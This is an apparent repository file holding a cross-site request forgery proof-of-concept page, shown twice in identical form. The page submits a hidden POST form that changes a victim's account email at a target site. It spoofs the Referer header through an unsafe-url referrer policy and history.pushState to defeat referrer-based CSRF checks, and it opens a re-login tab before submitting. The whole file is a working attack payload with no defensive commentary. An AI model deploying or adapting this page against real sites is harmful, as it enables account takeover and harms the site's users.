aelmokhtar/csrf_poc.txt

## csrf_poc.txt
<html>
<meta name="referrer" content="unsafe-url">
<body>
    <form id="myForm" action="https://example.com/email/change" method="POST" onsubmit="event.preventDefault(); openTabAndSubmit();">
    <input type="email" name="email" value="test@test.com" />
    <input type="submit" value="Submit request" />
    </form>
    <script>
        history.pushState("", "", "/?example.com");

        function openTabAndSubmit() {
            window.open('https://example.com/login?reauth=1', '_blank');
            setTimeout(function() {
                document.getElementById('myForm').submit();
            }, 500);
        }
    </script>
</body>
</html>
	<html>
	<meta name="referrer" content="unsafe-url">
	<body>
	<form id="myForm" action="https://example.com/email/change" method="POST" onsubmit="event.preventDefault(); openTabAndSubmit();">
	<input type="email" name="email" value="test@test.com" />
	<input type="submit" value="Submit request" />
	</form>
	<script>
	history.pushState("", "", "/?example.com");

	function openTabAndSubmit() {
	window.open('https://example.com/login?reauth=1', '_blank');
	setTimeout(function() {
	document.getElementById('myForm').submit();
	}, 500);
	}
	</script>
	</body>
	</html>